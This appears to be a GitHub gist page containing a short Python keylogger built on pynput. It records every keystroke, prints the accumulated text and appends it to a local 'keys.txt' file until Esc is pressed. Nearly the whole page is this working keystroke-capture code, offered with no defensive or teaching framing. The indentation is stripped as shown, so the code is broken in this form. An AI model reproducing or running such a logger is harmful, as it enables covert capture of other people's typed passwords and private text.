Skip to content

Instantly share code, notes, and snippets.

@Abhayparashar31
Last active December 8, 2020 09:30
Show Gist options
  • Save Abhayparashar31/7845d379aad6702e0f58b01e60b56509 to your computer and use it in GitHub Desktop.
Save Abhayparashar31/7845d379aad6702e0f58b01e60b56509 to your computer and use it in GitHub Desktop.
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
string = str(key).replace("'","")
keys.append(string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('keys.txt', 'a') as f:
f.write(main_string)
keys= []
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment